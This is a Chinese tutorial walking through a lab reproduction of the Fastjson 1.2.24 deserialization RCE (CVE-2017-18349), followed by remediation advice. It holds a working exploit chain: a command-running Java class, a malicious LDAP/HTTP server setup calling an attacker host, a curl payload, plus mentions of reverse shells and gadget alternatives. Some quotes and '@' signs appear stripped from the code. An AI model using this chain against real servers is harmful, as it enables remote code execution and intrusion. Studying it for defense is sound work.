Fastjson反序列化漏洞CVE-2017-18349原理与实战复现 📅 2026/6/25 16:23:24 1. 项目概述为什么CVE-2017-18349值得每一个开发者警惕如果你是一名Java后端开发者或者你的项目里用过阿里巴巴的Fastjson库那么“CVE-2017-18349”这个编号你大概率听过甚至可能心有余悸。它对应的就是Fastjson在1.2.24版本及之前爆出的那个高危反序列化漏洞江湖人称“Fastjson 1.2.24 RCE漏洞”。我第一次在内部渗透测试里真正触碰到这个漏洞的威力时那种“原来这么简单就能拿到服务器权限”的震撼感至今记忆犹新。这绝不是一个停留在理论上的CVE编号它曾经是并且在某些老旧系统里可能依然是攻击者最锋利的“敲门砖”之一。简单来说这个漏洞的核心在于Fastjson在解析JSON字符串时其autotype自动类型反序列化功能存在缺陷。攻击者可以精心构造一个包含恶意类路径的JSON数据当服务端使用存在漏洞的Fastjson版本进行反序列化时就会触发执行任意代码最终导致远程命令执行。这意味着什么意味着攻击者可能通过一个普通的API接口上传一段看起来人畜无害的JSON就能在你的服务器上为所欲为比如下载木马、植入后门、窃取数据甚至将服务器变成“矿机”。复现这个漏洞对于安全研究人员来说是验证POC概念验证、理解攻击链的必经之路对于开发者而言则是深刻理解反序列化安全风险、审视自身项目依赖的绝佳实践。通过亲手搭建环境、构造Payload、观察漏洞触发全过程你会对“输入不可信”这一安全基本原则有刻骨铭心的认识。接下来我将带你从零开始完整复现CVE-2017-18349并深入拆解每一个技术细节和防御思路。2. 漏洞原理深度剖析autotype为何成为“罪魁祸首”要理解这个漏洞我们必须先抛开漏洞本身看看Fastjson设计上的一个“特性”——autotype。Fastjson作为一个JSON处理库一个核心功能就是在Java对象和JSON字符串之间互相转换。序列化toJSONString是把对象变成JSON字符串反序列化parseObject则是把JSON字符串变回对象。2.1type属性与自动类型反序列化在默认情况下如果你用JSON.parseObject(jsonString, User.class)你明确告诉Fastjson“把这个字符串反序列化成User类的对象”。这时Fastjson是安全的因为它只会在User类的框架下解析数据。然而Fastjson提供了一个“便捷”功能允许在JSON字符串中通过一个特殊的type键来指定要反序列化的目标类。例如{ type: com.example.User, name: attacker, age: 25 }当使用JSON.parseObject(jsonString)而不指定具体类时Fastjson会读取type的值com.example.User然后尝试去实例化这个类并把后续的键值对填充进去。这个功能的本意是为了增加灵活性比如处理多态类型。但问题就出在Fastjson 1.2.24及之前版本对这个type指向的类名缺乏严格的校验和过滤。2.2 利用链的构造从任意类到代码执行攻击者的思路是找到一个在目标应用类路径下存在的、在其构造函数、setter方法、getter方法或某些特定属性中能执行任意代码或发起危险操作的类。这样的类被称为“Gadget”小工具。在CVE-2017-18349的经典利用链中最常被利用的类是com.sun.rowset.JdbcRowSetImpl。这个类本身是JDK的一部分用于数据库操作。它有一个setDataSourceName方法和一个setAutoCommit方法。当setAutoCommit被调用时如果dataSourceName已被设置它会尝试进行JNDI查找来获取数据源。JNDIJava Naming and Directory Interface可以理解为Java的一个“命名服务”可以查找各种资源其中一种协议是ldap。攻击者可以搭建一个恶意的LDAP服务器其返回的响应中可以指向一个远程的Java类文件。在特定的Java版本如JDK 1.8u191之前中客户端在进行JNDI查找时会自动加载并实例化该远程类从而执行其中的静态代码块。于是完整的攻击链就形成了构造恶意JSONPayload中包含type: com.sun.rowset.JdbcRowSetImpl并设置dataSourceName为攻击者控制的恶意LDAP地址然后触发setAutoCommit。触发JNDI查找Fastjson在反序列化过程中会调用JdbcRowSetImpl对象的setDataSourceName和setAutoCommit方法。加载远程恶意类目标服务器向恶意LDAP服务器发起请求LDAP服务器指示它去加载一个位于HTTP服务器上的恶意Java类。执行任意代码目标服务器加载并实例化这个远程类执行其构造函数或静态代码块中的代码从而实现RCE。注意这个利用链的成功依赖于目标Java环境版本较低默认允许远程加载类。在后来的高版本JDK中JNDI远程加载受到了限制如com.sun.jndi.rmi.object.trustURLCodebase默认为false使得此链失效。但这并不意味着漏洞不存在只是利用方式需要变化攻击者会寻找其他可利用的Gadget链。2.3 Fastjson的修复与绕过史阿里在后续版本中修复了此漏洞主要措施包括引入checkAutoType安全机制默认关闭autotype支持ParserConfig.getGlobalInstance().setAutoTypeSupport(false);并维护了一个黑名单列表禁止反序列化已知的危险类。引入白名单机制鼓励用户显式指定允许反序列化的类。然而安全攻防是持续的。在修复后研究人员又发现了绕过黑名单的新方法如利用未在黑名单中的其他Gadget类、利用异常处理机制等导致了后续一系列CVE如CVE-2017-18349的变种。这使得Fastjson在安全界“声名远扬”也促使许多公司选择将其替换为其他更安全的JSON库如Jackson或Gson。3. 漏洞复现环境搭建与核心工具解析纸上得来终觉浅绝知此事要躬行。下面我们开始动手搭建一个最经典的漏洞复现环境。请记住所有操作务必在授权的、隔离的虚拟机或实验网络中进行严禁对任何非授权目标进行测试。3.1 环境组件清单我们需要模拟一个存在漏洞的Java Web服务和攻击者环境。靶机环境Vulhub操作系统Ubuntu 20.04 / Kali Linux 或任意Linux发行版Windows也可但命令需调整。Docker Docker-Compose这是最推荐的方式可以快速搭建一个干净、可重复的漏洞环境。使用Vulhub项目中的Fastjson 1.2.24漏洞环境。Java环境靶机应用本身运行在Docker容器内已包含漏洞版本的Fastjson和受影响的Web应用。攻击机环境操作系统同上通常与靶机在同一虚拟网络。Java 8特定版本用于编译恶意类。需要版本号低于1.8u191例如1.8u102以支持JNDI远程加载。这是成功复现经典利用链的关键。Python 3用于启动HTTP服务器和LDAP恶意服务器。攻击工具marshalsec一个用于启动恶意JNDI服务的工具非常方便。一个简单的HTTP服务器Python自带http.server即可。curl或Burp Suite用于发送构造好的HTTP请求。3.2 详细搭建步骤第一步准备靶机使用Docker这是最快、最干净的方法。# 1. 安装Docker和Docker-Compose如果尚未安装 # 2. 下载Vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce # 3. 启动漏洞环境 docker-compose up -d # 4. 查看服务是否启动默认端口是8090 docker-compose ps # 访问 http://your-vm-ip:8090 应该能看到一个简单的Web页面Vulhub的这个环境模拟了一个使用Fastjson 1.2.24的Spring Boot Web应用它提供了一个接收JSON的POST接口/fastjson/正是我们的攻击入口。第二步准备攻击机环境安装低版本JDK 8这是复现成功的关键难点。你需要手动下载一个如jdk-8u102-linux-x64.tar.gz的版本。# 假设下载到 /opt 目录 tar -zxvf jdk-8u102-linux-x64.tar.gz -C /opt/ # 配置JAVA_HOME和PATH确保当前shell使用的是这个低版本JDK export JAVA_HOME/opt/jdk1.8.0_102 export PATH$JAVA_HOME/bin:$PATH java -version # 确认版本为 1.8.0_102编译并准备marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec # 使用Maven编译需要Maven环境 mvn clean package -DskipTests编译成功后在target/目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。第三步构造恶意Java类创建一个简单的Java文件例如Exploit.java其内容将在目标服务器上执行。// Exploit.java public class Exploit { public Exploit() { try { // 这里写入你想执行的命令例如弹计算器Windows或反向Shell // Linux/Mac 示例执行 touch /tmp/hacked_by_fastjson Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/hacked_by_fastjson}); // Windows 示例Runtime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } }使用攻击机上的低版本JDK编译它javac Exploit.java编译后会生成Exploit.class文件。第四步启动恶意服务启动HTTP服务器托管刚刚编译的Exploit.class文件。# 在Exploit.class所在目录执行 python3 -m http.server 8888现在http://your-attacker-ip:8888/Exploit.class这个地址可以访问到我们的恶意类。启动恶意LDAP服务器使用marshalsec。# 在marshalsec的jar包所在目录执行 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-attacker-ip:8888/#Exploit 1389这条命令的意思是在1389端口启动一个LDAP服务器当有客户端即我们的靶机连接查询时就返回一个引用指向http://your-attacker-ip:8888/Exploit.class。至此攻击准备就绪。靶机服务在运行恶意HTTP和LDAP服务也在运行。4. 构造Payload与发起攻击实战现在我们来到了最关键的环节构造触发漏洞的JSON Payload并发送给靶机。4.1 经典Payload构造解析针对com.sun.rowset.JdbcRowSetImpl这个Gadget标准的Payload如下{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://your-attacker-ip:1389/Exploit, autoCommit: true }让我们拆解这个Payloadtype: com.sun.rowset.JdbcRowSetImpl告诉Fastjson我要反序列化这个类。dataSourceName: ldap://your-attacker-ip:1389/Exploit调用setDataSourceName方法将其设置为我们的恶意LDAP地址。autoCommit: true调用setAutoCommit(true)方法。正是这个方法内部触发了对dataSourceName的JNDI查找this.connect()从而掉入陷阱。4.2 发起攻击请求我们可以使用curl命令直接发送POST请求curl -X POST http://your-target-ip:8090/fastjson/ \ -H Content-Type: application/json \ -d { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://your-attacker-ip:1389/Exploit, autoCommit: true }或者使用Burp Suite这样的工具会更方便观察和调试打开Burp配置代理。用浏览器访问靶机页面拦截到对/fastjson/的请求。将请求方法改为POSTContent-Type改为application/json在Body中填入上面的Payload。点击“Forward”发送。4.3 观察攻击结果发送请求后立即观察你的攻击机终端LDAP服务器终端你会看到一条连接记录显示来自靶机IP的连接请求。Send LDAP reference result for Exploit redirecting to http://your-attacker-ip:8888/Exploit.classHTTP服务器终端紧接着你会看到一条GET请求记录靶机来下载Exploit.class文件。your-target-ip - - [日期时间] GET /Exploit.class HTTP/1.1 200 -验证命令执行登录到你的靶机Docker容器中检查命令是否执行成功。docker exec -it [fastjson容器ID] /bin/bash ls -la /tmp/如果看到/tmp/hacked_by_fastjson这个文件被创建那么恭喜你远程代码执行RCE成功复现实操心得在实际复现中最容易失败的点在于JDK版本。务必确保攻击机编译恶意类和使用marshalsec时以及靶机环境运行Web应用时使用的JDK版本都低于1.8u191。如果使用Vulhub的Docker镜像它通常已经配置好了低版本环境。如果自己搭建靶机一定要检查。高版本JDK默认不信任远程Codebase会导致LDAP引用加载失败。5. 漏洞修复方案与深度防御指南成功复现漏洞带来的不仅是“成就感”更应该是“危机感”。作为开发者我们必须知道如何防御。5.1 官方修复方案与升级策略首要且最有效的措施升级Fastjson版本。立即升级将Fastjson升级到1.2.25及以上的安全版本。在1.2.25中autotype功能默认被关闭。持续关注即使升级了也应关注Fastjson的最新安全公告因为后续版本也出现过绕过漏洞。考虑升级到1.2.83等更晚期的、经过多次安全加固的版本。终极建议对于新项目慎重考虑是否必须使用Fastjson。业界许多团队因其复杂的安全历史而选择迁移到其他库如JacksonSpring Boot默认集成功能强大社区活跃安全记录相对较好。GsonGoogle出品设计简洁API直观默认没有类似autotype的功能安全性更高。5.2 安全配置详解如果必须使用Fastjson如果因历史原因暂时无法升级或替换必须进行严格的安全配置。1. 全局关闭autotype必须做在应用初始化代码中如Spring Boot的Configuration类里import com.alibaba.fastjson.parser.ParserConfig; Configuration public class FastjsonConfig { PostConstruct public void init() { // 全局关闭 autotype 支持 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 注意在某些绕过漏洞中即使关闭了autotype通过特殊方式仍可能触发。 // 因此关闭autotype是基础但不是银弹。 } }2. 使用安全模式Fastjson 1.2.68在1.2.68版本后引入了更严格的“安全模式”此模式下完全禁止autotype。ParserConfig.getGlobalInstance().setSafeMode(true);启用安全模式是比单纯setAutoTypeSupport(false)更强的防护。3. 配置白名单推荐如果业务确实需要使用autotype功能这种情况极少必须配置精确的白名单。ParserConfig.getGlobalInstance().addAccept(com.yourcompany.安全的模型包名.); // 或者指定具体类 ParserConfig.getGlobalInstance().addAccept(com.yourcompany.dto.User);白名单意味着“只允许反序列化这些我明确知道的、安全的类”这是最小权限原则的体现。5.3 开发习惯与架构层面的防御除了依赖库本身良好的开发习惯和架构设计能从根本上降低风险。反序列化时指定具体类型永远不要使用JSON.parseObject(jsonString)这种不指定目标类的方法。始终使用JSON.parseObject(jsonString, MySpecificClass.class)。输入验证与过滤对所有外部输入的JSON数据进行严格的合法性校验包括字段类型、长度、范围等。可以使用JSON Schema进行校验。使用对象映射而非Map在接口设计上明确使用DTOData Transfer Object对象来接收参数避免使用通用的MapString, Object这能从框架层面如Spring MVC阻止未知字段的注入。依赖项安全扫描使用OWASP Dependency-Check、GitHub Dependabot、Snyk等工具持续对项目依赖进行漏洞扫描及时获取安全预警。网络层隔离确保存在漏洞的服务如果暂时无法修复不直接暴露在公网通过网关、防火墙进行隔离和访问控制。升级底层JDK将生产环境的JDK升级到最新稳定版如JDK 17 LTS高版本JDK对JNDI、LDAP等危险操作增加了大量默认限制可以阻断很多已知的利用链。6. 常见问题排查与复现技巧实录在复现过程中你可能会遇到各种问题。下面是我踩过的一些坑和解决方案。6.1 复现失败问题排查表问题现象可能原因解决方案LDAP服务收到连接但HTTP服务没收到下载请求靶机JDK版本过高1.8u191检查靶机JDK版本。确保靶机Web应用运行的JRE是低版本。在Vulhub Docker中通常已配置好自查环境则需确认。发送Payload后应用返回500错误但无恶意请求Payload格式错误或目标接口未使用JSON.parseObject()1. 检查JSON格式是否正确引号是否闭合。2. 确认靶机接口确实使用了存在漏洞的Fastjson解析方式。可以尝试先发送一个正常JSON测试接口是否工作。编译marshalsec时出错Maven环境问题或网络问题1. 确保已安装Maven (mvn -v)。2. 尝试使用预编译好的marshalsec.jar可从GitHub Releases下载。3. 检查网络可能需要配置Maven镜像。Exploit.class被下载但命令未执行命令本身执行失败路径错误、权限不足1. 简化命令如touch /tmp/test。2. 在Exploit.java中增加日志输出例如将错误信息写入文件。3. 检查Docker容器内执行命令的用户权限。攻击机收不到任何连接网络不通或Payload中IP端口错误1. 确保靶机和攻击机在同一网络能互相ping通。2. 检查防火墙是否放行了1389LDAP和8888HTTP端口。3. 使用netstat -tlnp确认LDAP和HTTP服务已正确监听在0.0.0.0上。6.2 高阶复现技巧与变种利用DNSLog外带验证在不便直接执行命令或反弹Shell的环境下可以使用DNSLog来验证漏洞是否存在。构造一个会触发DNS查询的Payload如利用java.net.InetAddress类如果收到DNS解析记录则证明反序列化点存在且可以执行代码。修改Exploit.java中的命令为Runtime.getRuntime().exec(ping -c 1 your-unique-subdomain.dnslog.cn)使用ceye.io或dnslog.cn获取一个子域名观察是否有解析记录。寻找其他Gadget链由于JDK版本限制和黑名单更新JdbcRowSetImpl链可能失效。此时需要研究其他Gadget例如org.apache.tomcat.dbcp.dbcp2.BasicDataSource(Tomcat DBCP2)org.apache.commons.proxy.Proxy(Commons Proxy)org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor(Spring AOP) 这些链的利用原理类似都是寻找在反序列化过程中会触发危险操作的类。研究它们需要对Java库和框架有更深的理解。使用自动化工具辅助对于渗透测试人员可以使用像fastjson_tool、JNDI-Injection-Exploit这样的集成化工具来生成Payload和启动服务提高效率。但务必理解其原理避免成为“脚本小子”。6.3 从复现到实战的思考成功复现漏洞只是第一步。在真实的渗透测试或安全评估中你还需要信息收集如何判断一个站点使用了Fastjson可以通过报错信息如com.alibaba.fastjson.JSONException、响应头特征、或者用不合法JSON触发特定错误等方式进行指纹识别。漏洞探测使用无害的Payload如DNSLog进行盲测避免直接攻击造成破坏。权限维持与内网渗透获取RCE权限后如何上传木马、建立持久化通道、进行内网横向移动这是另一个广阔的领域需要遵循严格的授权和道德法律边界。复现CVE-2017-18349像打开了一扇门让你直观地看到了反序列化漏洞的惊人威力。它教会我们的远不止一个漏洞的利用方法更是对“外部输入绝对不可信”、“默认安全”和“持续更新”这些安全基石的深刻认同。下次当你编写JSON.parseObject()这行代码时希望这次复现的经历能让你停顿一下思考它背后可能隐藏的风暴。